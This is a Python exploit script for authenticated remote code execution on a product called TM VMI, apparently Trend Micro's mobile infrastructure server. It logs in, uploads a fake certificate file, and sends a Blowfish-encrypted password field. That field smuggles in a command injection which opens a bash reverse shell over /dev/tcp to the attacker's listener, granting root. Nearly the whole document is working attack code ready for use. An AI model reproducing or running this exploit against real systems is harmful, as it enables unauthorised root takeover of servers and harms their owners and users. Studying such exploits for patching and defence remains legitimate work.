#!/usr/bin/env python
#
# Exploit for authenticated RCE on TM VMI
# 
# Just open a listener with netcat and wait for your root shell to drop.
#############################################################################
import requests
import sys
import base64
import binascii
import StringIO
from optparse import OptionParser
from Crypto.Cipher import _Blowfish
#remove warnings due to explicit removal of cert validation in requests
import warnings
warnings.filterwarnings("ignore")

VMI_MAGIC_CODE = "#$vmi4trend"

def encrypt(key, data):
	"""
	Pad <data> PKCS7-style (8 bytes padding) then encrypt
	the result with Blowfish using <key>.

	See encrypt_with_pkcs7_bf in js/3rd_party/blowfish.js
	"""
	output = StringIO.StringIO()
	val = 8 - (len(data) % 8)
	for _ in xrange(val):
		output.write('%02x' % val)
	data += binascii.unhexlify(output.getvalue())
	cipher = _Blowfish.new(key, _Blowfish.MODE_ECB)
	return cipher.encrypt(data)
    

if __name__ == "__main__":
	parser = OptionParser()
	parser.add_option("--rhost", dest="rhost", help="remote host")
	parser.add_option("--rport", dest="rport", help="remote port", type=int)
	parser.add_option("--lhost", dest="lhost", help="local listener host")
	parser.add_option("--lport", dest="lport", help="local listener port", type=int)
	parser.add_option("--username", dest="username", help="account username")
	parser.add_option("--password", dest="password", help="account password")

	(options, args) = parser.parse_args()
	if options.rhost is None or options.rport is None or options.lhost is None \
		or options.lport is None or options.username is None or options.password is None:
		parser.print_help()
		sys.exit(-1)
	
	HOST = options.rhost
	PORT = options.rport
	USERNAME = options.username
	PASSWORD = options.password
	PAYLOAD = "test; /bin/bash -i >& /dev/tcp/%s/%d 0>&1 ;" % (options.lhost, options.lport)
	CERTFILE = "vmi.pfx"
	CERT = "SSdtIG5vdCBldmVuIGEgdmFsaWQgcGZ4IGZpbGUuIFlPTE8hCg=="
	try:
		s = requests.session()
		print "[+] Login to https://%s:%d/" % (HOST, PORT)
		resp = s.post(
			"https://%s:%d/api/v1/account/login/" % (HOST, PORT),
			data={"username" : USERNAME, "password" : PASSWORD},
			verify=False
		)
		if resp.status_code != 200 and "AC invalid" not in resp.json()["detail"]:
			raise Exception(resp.json()["detail"])
		else:
			print "[+] Successfully logged in."
			with open(CERTFILE, "wb") as f:
				f.write(base64.b64decode(CERT))
			files = {
				"pfx_zip_file_path": open(CERTFILE, 'rb')
			}
			payload = {
				"filename": CERTFILE,
				"id_pw_password": "",
				"csrfmiddlewaretoken": resp.cookies["csrftoken"]
			}
			headers = {
				"Referer" : "https://%s:%d/administration/addcert.htm?dtype=Identifier" % (HOST, PORT),
			}
			print "[+] Uploading %s to the server ..." % (CERTFILE)
			resp = s.post(
				"https://%s:%d/api/v1/cfg/oauth/upload_identify_pfx/" % (HOST, PORT),
				headers=headers, files=files, data=payload, verify=False
			)
			if resp.status_code != 200:
				raise Exception(resp.json()["detail"])
			else:
				print "[+] File uploaded successfully (%s)" % resp.json()["detail"]["filename"]
				print "[+] Sending payload ..."
				encrypted_payload = encrypt(VMI_MAGIC_CODE, PAYLOAD).encode('hex').upper()
				headers["X-CSRFToken"] = payload["csrfmiddlewaretoken"]
				payload = {
					"filename" : resp.json()["detail"]["filename"],
					"password" : encrypted_payload
				}
				resp = s.post("https://%s:%d/api/v1/cfg/oauth/save_identify_pfx/" % (HOST, PORT), headers=headers, data=payload, verify=False)
				if resp.status_code != 200:
					raise Exception(resp.json()["detail"])
				else:
					print resp.content
	except Exception as e:
		print "[!] %s" % e.message
